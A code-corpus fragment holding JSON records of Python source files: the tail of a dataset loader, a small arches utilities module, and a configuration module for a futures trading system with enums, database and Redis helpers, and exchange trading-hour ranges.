_init_dataset(dataset, device)\n    return BaseLoader(dataset)\n","repo_name":"TTAB2023/TTAB","sub_path":"ttab/loads/datasets/loaders.py","file_name":"loaders.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"72397454330","text":"import os\r\nimport codecs\r\n\r\n\r\ndef get_yn_input(msg=\"are you sure you want to continue?\", default=\"Y\"):\r\n    \"\"\"\r\n    function can be passed a custom message and will use that prompt to get\r\n    a y/n response. default defines what will happen if enter is hit with no\r\n    input.\r\n    \"\"\"\r\n\r\n    if default not in [\"Y\", \"N\"]:\r\n        raise Exception(\"function must be called with default = 'Y' or 'N'\")\r\n\r\n    if default == \"Y\":\r\n        o = input(msg + \" [Y/n] \")\r\n        if o.lower().startswith(\"y\") or o == \"\":\r\n            ret = True\r\n        else:\r\n            print(\"operation cancelled.\")\r\n            ret = False\r\n\r\n    if default == \"N\":\r\n        o = input(msg + \" [y/N] \")\r\n        if o.lower().startswith(\"n\") or o == \"\":\r\n            print(\"operation cancelled.\")\r\n            ret = False\r\n        else:\r\n            ret = True\r\n\r\n    return ret\r\n\r\n\r\ndef write_to_file(fileName, contents, mode=\"w\", encoding=\"utf-8\", **kwargs):\r\n    ensure_dir(fileName)\r\n    file = codecs.open(fileName, mode=mode, encoding=encoding, **kwargs)\r\n    file.write(contents)\r\n    file.close()\r\n\r\n\r\ndef ensure_dir(f):\r\n    d = os.path.dirname(f)\r\n    if not os.path.exists(d):\r\n        os.makedirs(d)\r\n\r\n\r\ndef get_valid_path(path):\r\n    \"\"\"\r\n    Takes a relative or absolute path and returns either an absolute path or\r\n    None if the path is invalid.\r\n    \"\"\"\r\n    result = None\r\n    if os.path.exists(path) and os.path.isabs(path):\r\n        result = path\r\n    elif os.path.exists(os.path.join(os.getcwd(), path)):\r\n        result = os.path.join(os.getcwd(), path)\r\n    return result\r\n\r\n\r\ndef print_message(message):\r\n    border = \"*\" * 80\r\n    print(\"{1}\\n{0}\\n{1}\".format(message, border))\r\n","repo_name":"archesproject/arches","sub_path":"arches/management/commands/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":191,"dataset":"github-code","pt":"77"}
+{"seq_id":"25968581512","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2017/6/9\n@author: MG\n\"\"\"\nfrom pymongo import MongoClient\nfrom pymongo.database import Database\nfrom pymongo.collection import Collection\nfrom sqlalchemy import create_engine, MetaData\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import sessionmaker, mapper\nfrom sqlalchemy.orm.session import Session\nfrom sqlalchemy.schema import Table\nimport logging, threading, re, numpy as np\nfrom logging.handlers import RotatingFileHandler\nfrom backend.fh_utils import str_2_bytes, bytes_2_str\nfrom redis import StrictRedis, ConnectionPool\nfrom redis.client import PubSub\nfrom datetime import timedelta, datetime\nfrom celery.schedules import crontab\nfrom enum import IntEnum, unique\nimport pandas as pd\nfrom ctp.ApiStruct import D_Buy, D_Sell, PD_Long, PD_Short, PSD_Today, PSD_History\nD_Buy_str, D_Sell_str = bytes_2_str(D_Buy), bytes_2_str(D_Sell)\nPD_Long_str, PD_Short_str = bytes_2_str(PD_Long), bytes_2_str(PD_Short)\nPSD_Today_str, PSD_History_str = bytes_2_str(PSD_Today), bytes_2_str(PSD_History)\nlogger = logging.getLogger()\n\n@unique\nclass PeriodType(IntEnum):\n    \"\"\"\n    周期类型\n    \"\"\"\n    Tick = 0\n    Min1 = 1\n    Min5 = 2\n    Min10 = 3\n    Min15 = 4\n    Min30 = 5\n    Hour1 = 10\n    Day1 = 20\n    Week1 = 30\n    Mon1 = 40\n\n    @staticmethod\n    def get_min_count(period_type) -> int:\n        \"\"\"\n        返回给的周期类型对应的分钟数\n        :param period_type: \n        :return: \n        \"\"\"\n        if PeriodType.Min1 == period_type:\n            min_count = 1\n        elif PeriodType.Min5 == period_type:\n            min_count = 5\n        elif PeriodType.Min10 == period_type:\n            min_count = 10\n        elif PeriodType.Min15 == period_type:\n            min_count = 15\n        elif PeriodType.Min30 == period_type:\n            min_count = 30\n        else:\n            raise ValueError('不支持 %s 周期' % period_type)\n        return min_count\n\n@unique\nclass RunMode(IntEnum):\n    \"\"\"\n    运行模式，目前支持两种：实时行情模式，回测模式\n    \"\"\"\n    Realtime = 0\n    Backtest = 1\n\n\n@unique\nclass Direction(IntEnum):\n    \"\"\"买卖方向\"\"\"\n    Short = 0  # 空头\n    Long = 1  # 多头\n\n    @staticmethod\n    def create_by_direction(direction_str):\n        if isinstance(direction_str, str):\n            if direction_str == D_Buy_str:\n                return Direction.Long\n            elif direction_str == D_Sell_str:\n                return Direction.Short\n            else:\n                raise ValueError('Direction不支持 %s' % direction_str)\n        else:\n            if direction_str == D_Buy:\n                return Direction.Long\n            elif direction_str == D_Sell:\n                return Direction.Short\n            else:\n                raise ValueError('Direction不支持 %s' % direction_str)\n\n\n    @staticmethod\n    def create_by_posi_direction(posi_direction):\n        if isinstance(posi_direction, str):\n            if posi_direction == PD_Long_str:\n                return Direction.Long\n            elif posi_direction == PD_Short_str:\n                return Direction.Short\n            else:\n                raise ValueError('Direction不支持 %s' % posi_direction)\n        else:\n            if posi_direction == PD_Long:\n                return Direction.Long\n            elif posi_direction == PD_Short:\n                return Direction.Short\n            else:\n                raise ValueError('Direction不支持 %s' % posi_direction)\n\n\n@unique\nclass Action(IntEnum):\n    \"\"\"开仓平仓\"\"\"\n    Open = 0  # 开仓\n    Close = 1  # 平仓\n    ForceClose = 2  # 强平\n    CloseToday = 3  # 平今\n    CloseYesterday = 4  # 平昨\n    ForceOff = 5  # 强减\n    LocalForceClose = 6  # 本地强平\n\n    @staticmethod\n    def create_by_offsetflag(offset_flag):\n        \"\"\"\n        将 Api 中 OffsetFlag 变为 Action 类型\n        :param offset_flag: \n        :return: \n        \"\"\"\n        if offset_flag == '0':\n            return Action.Open\n        elif offset_flag in {'1', '5'}:\n            return Action.Close\n        elif offset_flag == '3':\n            return Action.CloseToday\n        elif offset_flag == '4':\n            return Action.CloseYesterday\n        elif offset_flag == '2':\n            return Action.ForceClose\n        elif offset_flag == '6':\n            return Action.LocalForceClose\n        else:\n            raise ValueError('Action不支持 %s' % offset_flag)\n\n\n@unique\nclass PositionDateType(IntEnum):\n    \"\"\"今日持仓历史持仓标示\"\"\"\n    Today = 1  # 今日持仓\n    History = 2  # 历史持仓\n\n    @staticmethod\n    def create_by_position_date(position_date):\n        \"\"\"\n        将 Api 中 position_date 变为 PositionDate 类型\n        :param position_date: \n        :return: \n        \"\"\"\n        if isinstance(position_date, str):\n            if position_date == PSD_Today_str:\n                return PositionDateType.Today\n            elif position_date == PSD_History_str:\n                return PositionDateType.History\n            else:\n                raise ValueError('PositionDate 不支持 %s' % position_date)\n        else:\n            if position_date == PSD_Today:\n                return PositionDateType.Today\n            elif position_date == PSD_History:\n                return PositionDateType.History\n            else:\n                raise ValueError('PositionDate 不支持 %s' % position_date)\n\n\n@unique\nclass BacktestTradeMode(IntEnum):\n    \"\"\"\n    回测模式下的成交模式\n    \"\"\"\n    Order_2_Deal = 0  # 一种简单回测模式，无论开仓平仓等操作，下单即成交\n    MD_2_Deal = 1  # 根据下单后行情变化确定何时成交\n\n\n@unique\nclass ContextKey(IntEnum):\n    \"\"\"\n    策略执行逻辑中 context[key] 的部分定制化key\n    \"\"\"\n    instrument_id_list = 0\n\n\nclass ClientWrapper:\n    \"\"\"用于对 MongoClient 对象进行封装，方便使用with语句进行close控制\"\"\"\n\n    def __init__(self, client):\n        self.client = client\n\n    def __enter__(self) -> MongoClient:\n        return self.client\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.client.close()\n        logger.debug('mongodb client closed')\n\n\nclass SessionWrapper:\n    \"\"\"用于对session对象进行封装，方便使用with语句进行close控制\"\"\"\n\n    def __init__(self, session):\n        self.session = session\n\n    def __enter__(self) -> Session:\n        return self.session\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.session.close()\n        # logger.debug('db session closed')\n\n\nclass ConfigBase:\n    # 配置环境变量\n    DATETIME_FORMAT_STR = '%Y-%m-%d %H:%M:%S'\n    DATE_FORMAT_STR = '%Y-%m-%d'\n    TIME_FORMAT_STR = '%H:%M:%S'\n    DATE_FORMAT_STR_CTP = '%Y%m%d'\n    TIME_FORMAT_STR_CTP = '%H%M%S'\n    # api configuration\n    BROKER_ID = b'***'\n    USER_ID = b'***'\n    INVESTOR_ID = b'***'\n    PASSWORD = b'***'\n    # FRONT_TRADER_ADDRESS = b'tcp://0.0.0.0:10030'  # SIMNOW 第二套【7x24】\n    FRONT_TRADER_ADDRESS = b'tcp://0.0.0.0:10000'  # SIMNOW\n    FRONT_MD_ADDRESS = b'tcp://0.0.0.0:10010'  # SIMNOW\n\n    WIND_REST_URL = \"http://10.0.5.61:5000/wind/\"  # \"http://10.0.5.110:5000/wind/\"  \"http://10.0.3.78:5000/wind/\"\n\n    # mysql db info\n    DB_SCHEMA_DEFAULT = 'default'\n    DB_SCHEMA_MD = 'future_md'\n    DB_SCHEMA_QABAT = 'qabat'\n    DB_SCHEMA_PROD = 'fof_ams_db'\n    DB_SCHEMA_PROPHETS_MD = 'md_db'\n    DB_INFO_DIC = {\n        DB_SCHEMA_DEFAULT: {'type': 'mysql',\n                            'DB_IP': '10.0.3.66',\n                            'DB_PORT': '3306',\n                            'DB_NAME': 'fof_ams_dev',\n                            'DB_USER': 'mg',\n                            'DB_PASSWORD': '***'\n                            },\n        DB_SCHEMA_MD: {'type': 'mysql',\n                       'DB_IP': '10.0.3.66',\n                       'DB_PORT': '3306',\n                       'DB_NAME': 'future_md',\n                       'DB_USER': 'mg',\n                       'DB_PASSWORD': '***'\n                       },\n        'future_md_test': {'type': 'mysql',\n                       'DB_IP': '10.0.3.66',\n                       'DB_PORT': '3306',\n                       'DB_NAME': 'future_md_test',\n                       'DB_USER': 'mg',\n                       'DB_PASSWORD': '***'\n                       },\n        DB_SCHEMA_QABAT: {'type': 'mysql',\n                          'DB_IP': '10.0.3.66',\n                          'DB_PORT': '3306',\n                          'DB_NAME': 'qabat',\n                          'DB_USER': 'mg',\n                          'DB_PASSWORD': '***'\n                          },\n        DB_SCHEMA_PROD: {'type': 'mysql',\n                         'DB_IP': '10.0.5.111',\n                         'DB_PORT': '3306',\n                         'DB_NAME': 'fof_ams_db',\n                         'DB_USER': 'mg',\n                         'DB_PASSWORD': '***'\n                         },\n        DB_SCHEMA_PROPHETS_MD: {'type': 'mysql',\n                         'DB_IP': '39.104.20.82',\n                         'DB_PORT': '3306',\n                         'DB_NAME': DB_SCHEMA_PROPHETS_MD,\n                         'DB_USER': 'mg',\n                         'DB_PASSWORD': '***'\n                         },\n    }\n    # mongo db info\n    MONGO_INFO_DIC = {'MONGO_DB_URL': '10.0.3.66',\n                      'MONGO_DB_PORT': 27017,\n                      'MONGO_DB_NAME': 'test',\n                      }\n    _MONGO_CLIENT = None\n\n    # redis info\n    # REDIS_INFO_DIC = {'REDIS_HOST': '127.0.0.1',\n    #                   'REDIS_PORT': '6379',\n    #                   }\n    REDIS_INFO_DIC = {'REDIS_HOST': '192.168.239.131',\n                      'REDIS_PORT': '6379',\n                      }\n\n    # celery schedule info\n    CELERYBEAT_SCHEDULE = {\n        'receive_save_md_moning': {\n            'task': 'tasks.save_md',\n            'schedule': timedelta(seconds=5)\n        },\n    }\n    # evn configuration\n    LOG_FORMAT = '%(asctime)s %(levelname)s %(name)s %(filename)s.%(funcName)s:%(lineno)d|%(message)s'\n\n    # 与预加载历史K线数据文件\n    OUTPUT_MIN_K_FILE_PRELOAD_HIS_DATA_ENABLE = False\n    # 与预加载历史K线数据文件，历史长度\n    OUTPUT_MIN_K_FILE_PRELOAD_HIS_DATA_LEN = 100\n    # 生成分钟K线文件到指定目录，该功能仅为王淳使用\n    OUTPUT_MIN_K_FILE_ENABLE = False\n    # 生产制定周期 分钟线文件\n    OUTPUT_MIN_K_FILE_PERIOD_TYPE = {PeriodType.Min15}\n    # 专供博士1分钟K线文件输出使用\n    OUTPUT_FOLDER_PATH_K_FILES = r\"d:\\Downloads\\KFiles\"\n    # 结算单文件保存位置\n    OUTPUT_FOLDER_PATH_SETTLEMENT_FILES = r\"d:\\Downloads\\Settlements\"\n\n    def __init__(self):\n        \"\"\"\n        初始化一些基本配置信息\n        \"\"\"\n        # 设置rest调用日志输出级别\n        logging.getLogger('requests.packages.urllib3.connectionpool').setLevel(logging.WARNING)\n\n        # 数据库 engine 池\n        self._db_engine_dic = {}\n        # celery info\n        self.CELERY_INFO_DIC = {\n            'TASK_PID_KEY': \"task:save_md:pid\",\n            'CELERY_TIMEZONE': 'Asia/Shanghai',\n            'BROKER_URL': 'redis://%(REDIS_HOST)s:%(REDIS_PORT)s/3' % self.REDIS_INFO_DIC,\n            'CELERY_RESULT_BACKEND': 'redis://%(REDIS_HOST)s:%(REDIS_PORT)s/4' % self.REDIS_INFO_DIC,\n            'REDIS_DB_OTHER': '5',\n        }\n\n        # 当前可交易的合约信息，通过 TradeApi.ReqQryInstrument 查询后更新\n        self._instrument_info_dic = {}\n        self._instrument_info_dic_mutex = threading.Lock()\n        # self.instrument_info_dic = {}\n        self._instrument_commission_rate_dic = {}\n        self._redis_connection_pool_dic = {}\n        self._redis_client_dic = {}\n        self._redis_pub_sub_dic = {}\n\n        # 初始化channel信息，初始化后的信息类似如下：\n        # {<PeriodType.Tick: 1>: 'md.Tick.',\n        #  <PeriodType.Min1: 2>: 'md.Min1.',\n        #  <PeriodType.Min5: 3>: 'md.Min5.',\n        #  <PeriodType.Min15: 4>: 'md.Min15.',\n        #  <PeriodType.Hour1: 5>: 'md.Hour1.',\n        #  <PeriodType.Day1: 6>: 'md.Day1.',\n        #  <PeriodType.Week1: 7>: 'md.Week1.',\n        #  <PeriodType.Mon1: 8>: 'md.Mon1.'}\n        self.REDIS_CHANNEL = {period: 'md.%s.' % str(period).split('.')[1] for period in PeriodType}\n\n        # 上期所时间\n        self._SHFETimeDelta = timedelta()\n        # 大商所时间\n        self._DCETimeDelta = timedelta()\n        # 郑商所时间\n        self._CZCETimeDelta = timedelta()\n        # 中金所时间\n        self._FFEXTimeDelta = timedelta()\n        # 能源中心时间\n        self._INETimeDelta = timedelta()\n        # 服务器时差\n        self._exch_timedelta = timedelta()\n\n        datetime_now = datetime.now()\n        self._day_thour_4_commodity = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 9, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 10, 15)),\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 10, 30),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 11, 30)),\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 13, 30),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 15, 0)),\n        ]\n        self._moning_thour_4_FFEX_IFICIH = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 9, 30),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 11, 30)),\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 13, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 15, 0)),\n        ]\n        self._moning_thour_4_FFEX_T = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 9, 15),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 11, 30)),\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 13, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 15, 15)),\n        ]\n        self._night_thour_4_rb = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 21, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 23, 0)),\n        ]\n        self._night_thour_4_au_ag = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 21, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 2, 30) + timedelta(days=1)),\n        ]\n        self._night_thour_4_cu_al = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 21, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 1, 0) + timedelta(days=1)),\n        ]\n        self._night_thour_4_cf_jm = [\n            (datetime(datetime_now.year, datetime_now.month, datetime_now.day, 21, 0),\n             datetime(datetime_now.year, datetime_now.month, datetime_now.day, 23, 30) + timedelta(days=1)),\n        ]\n\n        # 期货合约列表、合约与交易所对照表 需要通过 load_instrument_list 函数进行初始化后才能使用\n        # 合约与交易所对照表\n        # self.instrument_market_dic = {}\n        # 期货合约列表\n        # self.subscribe_instrument_list = []\n        # 加载 instrument_info 信息\n        # self.load_instrument()  # 改功能已被 self.instrument_info_dic 属性替代\n        # self.load_instrument_commission_rate()  # 改功能已被 self.instrument_commission_rate 属性替代\n        # 当 调用api 完成 instrument 列表更新后，重置标志位\n        self.update_instrument_finished = False\n\n    @property\n    def instrument_info_dic(self):\n        with self._instrument_info_dic_mutex:\n            if len(self._instrument_info_dic) == 0:\n                engine = self.get_db_engine(schema_name=self.DB_SCHEMA_MD)\n                try:\n                    instrument_info_df = pd.read_sql('select * from instrument', engine)\n                    self._instrument_info_dic = {record['InstrumentID']: record for record in\n                                                instrument_info_df.to_dict('record')}\n                except:\n                    logger.exception(\"加载合约信息失败\")\n        return self._instrument_info_dic\n\n    @property\n    def instrument_commission_rate_dic(self):\n        with self._instrument_info_dic_mutex:\n            if len(self._instrument_commission_rate_dic) == 0:\n                engine = self.get_db_engine(schema_name=self.DB_SCHEMA_MD)\n                try:\n                    instrument_info_df = pd.read_sql('select * from instrumentcommissionrate', engine)\n                    self._instrument_commission_rate_dic = {record['InstrumentID']: record for record in\n                                                           instrument_info_df.to_dict('record')}\n                except:\n                    logger.exception(\"加载合约手续费率信息失败\")\n        return self._instrument_commission_rate_dic\n\n    def _init_redis_channel(self):\n        \"\"\"\n        初始化channel信息，初始化后的信息类似如下：\n        {<PeriodType.Tick: 1>: 'md.Tick.',\n         <PeriodType.Min1: 2>: 'md.Min1.',\n         <PeriodType.Min5: 3>: 'md.Min5.',\n         <PeriodType.Min15: 4>: 'md.Min15.',\n         <PeriodType.Hour1: 5>: 'md.Hour1.',\n         <PeriodType.Day1: 6>: 'md.Day1.',\n         <PeriodType.Week1: 7>: 'md.Week1.',\n         <PeriodType.Mon1: 8>: 'md.Mon1.'}\n        \"\"\"\n        # REDIS_CHANNEL_MD_DIC = 'md.%s.' % MD_PERIOD_TICK\n        # REDIS_CHANNEL_MD_MINUTES = 'md.%s.' % MD_PERIOD_MIN\n        self.REDIS_CHANNEL = {period: 'md.%s.' % str(period).split('.')[1] for period in PeriodType}\n\n    @property\n    def SHFETimeDelta(self):\n        return self._SHFETimeDelta\n\n    @SHFETimeDelta.setter\n    def SHFETimeDelta(self, delta):\n        self._SHFETimeDelta = delta\n        delta_list = [self._FFEXTimeDelta, self._DCETimeDelta, self._SHFETimeDelta, self._INETimeDelta,\n                      self._CZCETimeDelta]\n        delta_list = [d for d in delta_list if d.total_seconds() != 0]\n        if len(delta_list) > 0:\n            self._exch_timedelta = min(delta_list)\n\n    @property\n    def FFEXTimeDelta(self):\n        return self._FFEXTimeDelta\n\n    @FFEXTimeDelta.setter\n    def FFEXTimeDelta(self, delta):\n        self._FFEXTimeDelta = delta\n        delta_list = [self._FFEXTimeDelta, self._DCETimeDelta, self._SHFETimeDelta, self._INETimeDelta,\n                      self._CZCETimeDelta]\n        delta_list = [d for d in delta_list if d.total_seconds() != 0]\n        if len(delta_list) > 0:\n            self._exch_timedelta = min(delta_list)\n\n    @property\n    def DCETimeDelta(self):\n        return self._DCETimeDelta\n\n    @DCETimeDelta.setter\n    def DCETimeDelta(self, delta):\n        self._DCETimeDelta = delta\n        delta_list = [self._FFEXTimeDelta, self._DCETimeDelta, self._SHFETimeDelta, self._INETimeDelta,\n                      self._CZCETimeDelta]\n        delta_list = [d for d in delta_list if d.total_seconds() != 0]\n        if len(delta_list) > 0:\n            self._exch_timedelta = min(delta_list)\n\n    @property\n    def INETimeDelta(self):\n        return self._INETimeDelta\n\n    @INETimeDelta.setter\n    def INETimeDelta(self, delta):\n        self._INETimeDelta = delta\n        delta_list = [self._FFEXTimeDelta, self._DCETimeDelta, self._SHFETimeDelta, self._INETimeDelta,\n                      self._CZCETimeDelta]\n        delta_list = [d for d in delta_list if d.total_seconds() != 0]\n        if len(delta_list) > 0:\n            self._exch_timedelta = min(delta_list)\n\n    @property\n    def CZCETimeDelta(self):\n        return self._CZCETimeDelta\n\n    @CZCETimeDelta.setter\n    def CZCETimeDelta(self, delta):\n        self._CZCETimeDelta = delta\n        delta_list = [self._FFEXTimeDelta, self._DCETimeDelta, self._SHFETimeDelta, self._INETimeDelta,\n                      self._CZCETimeDelta]\n        delta_list = [d for d in delta_list if d.total_seconds() != 0]\n        if len(delta_list) > 0:\n            self._exch_timedelta = min(delta_list)\n\n    @property\n    def exch_timedelta(self):\n        return self._exch_timedelta\n\n    @property\n    def exch_datetime(self):\n        \"\"\"返回交易所服务器时间\"\"\"\n        return datetime.now() + self._exch_timedelta\n\n    def get_trade_datetime_range_list(self, instrument_id):\n        \"\"\"\n        获取合约交易时间段\n        :param instrument_id: \n        :return: \n        \"\"\"\n        if re.match('(ic|if|ih)\\d{4}', instrument_id) is not None:\n            datetime_range = self._moning_thour_4_FFEX_IFICIH.copy()\n        elif re.match('(t|tf)\\d{4}', instrument_id) is not None:\n            datetime_range = self._moning_thour_4_FFEX_T.copy()\n        else:\n            datetime_range = self._day_thour_4_commodity.copy()\n            if re.match('(ru|rb|bu|hc)\\d{4}', instrument_id) is not None:\n                # 橡胶 螺纹钢 沥青 热轧卷板 21:00-23:00\n                [datetime_range.append(dt_range) for dt_range in self._night_thour_4_rb]\n            elif re.match('(au|ag)\\d{4}', instrument_id) is not None:\n                # 黄金 白银 21:00-次日2:30\n                [datetime_range.append(dt_range) for dt_range in self._night_thour_4_au_ag]\n            elif re.match('(cu|al|zn|pb|ni|sn)\\d{4}', instrument_id) is not None:\n                # 铜 铝 锌 铅 镍 锡 21:00-次日1:00\n                [datetime_range.append(dt_range) for dt_range in self._night_thour_4_cu_al]\n            elif re.match('(cf|sr|rm|ma|ta|oi|fg|zc|p|j|jm|i|m|y|a|b)\\d{4}', instrument_id) is not None:\n                # 棉花 白糖 菜粕 甲醇 PTA 菜油 玻璃 动力煤 21:00-23:30\n                # 棕榈油 焦炭 焦煤 铁矿石 豆粕 豆油 豆一 豆二 21:00-23:30\n                [datetime_range.append(dt_range) for dt_range in self._night_thour_4_cf_jm]\n            else:\n                # 上海期货交易所:线材 燃油\n                # 郑州商品交易所:菜籽 强麦 普麦 粳稻 硅铁 锰硅 早籼稻 晚籼稻\n                # 大连商品交易所:玉米 玉米淀粉 鸡蛋 胶合板 纤维板 塑料  PVC 聚炳烯\n                pass\n        return datetime_range\n\n    def get_mongo_client(self) -> MongoClient:\n        \"\"\"\n        获取mongodb client\n        :return: \n        \"\"\"\n        if self._MONGO_CLIENT is None:\n            self._MONGO_CLIENT = MongoClient('mongodb://%s:%s/' % (self.MONGO_INFO_DIC['MONGO_DB_URL'],\n                                                                   self.MONGO_INFO_DIC['MONGO_DB_PORT']))\n        return self._MONGO_CLIENT\n\n    def get_mongo_db(self, db_name=None) -> Database:\n        \"\"\"\n        获取 mongodb database\n        :param db_name: \n        :return: \n        \"\"\"\n        client = self.get_mongo_client()\n        if db_name is None:\n            db_name = self.MONGO_INFO_DIC['MONGO_DB_NAME']\n        return client[db_name]\n\n    def do_for_mongo_db(self, action, db_name=None):\n        \"\"\"\n        对database执行相关操作\n        :param action: \n        :param db_name: \n        :return: \n        \"\"\"\n        action(self.get_mongo_db(db_name))\n\n    def get_mongo_collection(self, collection_name, db_name=None) -> Collection:\n        \"\"\"\n        获取 mongodb collection\n        :param collection_name: \n        :param db_name: \n        :return: \n        \"\"\"\n        database = self.get_mongo_db(db_name)\n        return database[collection_name]\n\n    def do_for_mongo_collection(self, action, collection_name, db_name=None):\n        \"\"\"\n        对 collection 执行相关操作\n        :param action: \n        :param collection_name: \n        :param db_name: \n        :return: \n        \"\"\"\n        action(self.get_mongo_collection(collection_name, db_name))\n\n    def release(self):\n        \"\"\"\n        释放资源\n        :return: \n        \"\"\"\n        if self._MONGO_CLIENT is not None:\n            self._MONGO_CLIENT.close()\n\n    def get_db_engine(self, schema_name='default') -> Engine:\n        \"\"\"初始化数据库engine\"\"\"\n        if schema_name is None:\n            schema_name = 'default'\n        if schema_name in self._db_engine_dic:\n            return self._db_engine_dic[schema_name]\n        else:\n            db_info_dic = self.DB_INFO_DIC[schema_name]\n            if db_info_dic['type'] == 'mysql':\n                engine = create_engine(\n                    \"mysql+pymysql://%(DB_USER)s:%(DB_PASSWORD)s@%(DB_IP)s:%(DB_PORT)s/%(DB_NAME)s?charset=utf8\"\n                    % db_info_dic,  # dev_db fh_db\n                    echo=False, encoding=\"utf-8\")\n                # logger.debug('开始连接DB: %s', db_info_dic['DB_IP'])\n            elif db_info_dic['type'] == 'sqlite':\n                engine = create_engine(db_info_dic['URL'], echo=False, encoding=\"utf-8\")\n            else:\n                raise ValueError(\"DB_INFO_DIC[%s]['type']=%s\", schema_name, db_info_dic['type'])\n            self._db_engine_dic[schema_name] = engine\n            # logger.debug(\"数据库已连接\")\n        return engine\n\n    def get_db_session(self, engine=None) -> Session:\n        \"\"\"创建session对象 使用后需注意主动关闭\"\"\"\n        if engine is None:\n            engine = self.get_db_engine()\n        db_session = sessionmaker(bind=engine)\n        session = db_session()\n        return session\n\n    def with_db_session(self, engine=None, schema_name=None, expire_on_commit=True):\n        \"\"\"创建session对象，返回 session_wrapper 可以使用with语句进行调用\"\"\"\n        if engine is None:\n            engine = self.get_db_engine(schema_name)\n        db_session = sessionmaker(bind=engine, expire_on_commit=expire_on_commit)\n        session = db_session()\n        return SessionWrapper(session)\n\n    def get_redis(self, db=0) -> StrictRedis:\n        \"\"\"\n        get StrictRedis object\n        :param db: \n        :return: \n        \"\"\"\n        if db in self._redis_client_dic:\n            redis_client = self._redis_client_dic[db]\n        else:\n            if db in self._redis_connection_pool_dic:\n                conn = self._redis_connection_pool_dic[db]\n            else:\n                conn = ConnectionPool(host=self.REDIS_INFO_DIC['REDIS_HOST'],\n                                      port=self.REDIS_INFO_DIC['REDIS_PORT'],\n                                      db=db)\n                self._redis_connection_pool_dic[db] = conn\n            redis_client = StrictRedis(connection_pool=conn)\n            self._redis_client_dic[db] = redis_client\n        return redis_client\n\n    def get_pub_sub(self, db=0) -> PubSub:\n        \"\"\"\n        获取 redis 广播/订阅 对象\n        :param db: \n        :return: \n        \"\"\"\n        if db in self._redis_pub_sub_dic:\n            pub_sub = self._redis_pub_sub_dic[db]\n        else:\n            pub_sub = self.get_redis(db).pubsub()\n            self._redis_pub_sub_dic[db] = pub_sub\n        return pub_sub\n\n    def update_instrument(self, instrument_info_dic):\n        \"\"\"\n        插入或更新合约信息列表 Config.instrument_market_dic\n        :return: \n        \"\"\"\n        self._instrument_info_dic = instrument_info_dic\n        engine = self.get_db_engine(schema_name=Config.DB_SCHEMA_MD)\n        instrument_table = Table('instrument', MetaData(engine), autoload=True)\n\n        # 临时定义一个class 用来绑定 instrument_table\n        class InstrumentModel(object):\n            pass\n\n        mapper(InstrumentModel, instrument_table)\n        with self.with_db_session(engine) as session:\n            # 循环执行 merge 更新全部 instrument_obj\n            try:\n                n = -1  # 这里初始化 n = -1 是为了避免，当 available_instrument_info_dic 为空时 log.info 中 n 未定义错误\n                for n, (instrument_id, instrument_info_dic) in enumerate(self._instrument_info_dic.items()):\n                    instrument_obj = InstrumentModel()\n                    for name, val in instrument_info_dic.items():\n                        setattr(instrument_obj, name, val)\n                    # instrument_obj_list.append(instrument_obj)\n                    session.merge(instrument_obj)\n                # 提交 commit\n                session.commit()  # 稍后提到 for循环外面\n                logger.info('%d 条 合约 信息被更新', n + 1)\n                self.update_instrument_finished = True\n            except:\n                logger.exception(\"%d) %s 合约 merge error:\\n%s\", n, instrument_id, instrument_info_dic)\n\n    # def load_instrument(self):\n    #     engine = self.get_db_engine(schema_name=self.DB_SCHEMA_MD)\n    #     try:\n    #         instrument_info_df = pd.read_sql('select * from instrument', engine)\n    #         self._instrument_info_dic = {record['InstrumentID']: record for record in\n    #                                     instrument_info_df.to_dict('record')}\n    #     except:\n    #         logger.exception(\"加载合约信息失败\")\n    #\n    # def update_instrument_commission_rate(self, new_added_instrument_id_list):\n    #     logger.info('%d 条合约手续费信息将被更新到数据库\\n%s', len(new_added_instrument_id_list), new_added_instrument_id_list)\n    #     engine = self.get_db_engine(schema_name=Config.DB_SCHEMA_MD)\n    #     instrument_commission_rate_table = Table('instrumentcommissionrate', MetaData(engine), autoload=True)\n    #     # 临时定义一个class 用来绑定 instrument_table\n    #     class CommissionRateModel(object): pass\n    #     mapper(CommissionRateModel, instrument_commission_rate_table)\n    #     with self.with_db_session(engine) as session:\n    #         # 循环执行 merge 更新全部 instrument_obj\n    #         try:\n    #             n = -1  # 这里初始化 n = -1 是为了避免，当 available_instrument_info_dic 为空时 log.info 中 n 未定义错误\n    #             # for n, (instrument_id, commission_rate_dic) in enumerate(Config.instrument_commission_rate_dic.items()):\n    #             for n, instrument_id in enumerate(new_added_instrument_id_list):\n    #                 commission_rate_dic = Config.instrument_commission_rate_dic[instrument_id]\n    #                 commission_rate_obj = CommissionRateModel()\n    #                 for name, val in commission_rate_dic.items():\n    #                     setattr(commission_rate_obj, name, val)\n    #                 # instrument_obj_list.append(instrument_obj)\n    #                 session.merge(commission_rate_obj)\n    #             # 提交 commit\n    #             